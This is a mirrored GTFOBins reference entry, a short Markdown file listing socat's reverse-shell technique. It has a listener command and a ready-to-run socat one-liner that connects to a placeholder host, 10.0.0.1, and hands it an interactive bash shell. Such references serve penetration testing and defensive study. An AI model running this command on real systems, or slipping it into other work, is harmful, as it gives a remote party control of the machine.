mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-10-23 00:57:56 +02:00
9 lines
299 B
Markdown
9 lines
299 B
Markdown
---
|
|
functions:
|
|
reverse-shell:
|
|
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:12345</code> to receive the shell on the other end.
|
|
code: |
|
|
RHOST=10.0.0.1
|
|
RPORT=12345
|
|
socat tcp-connect:$RHOST:$RPORT exec:"bash -li",pty,stderr,setsid,sigint,sane
|
|
--- |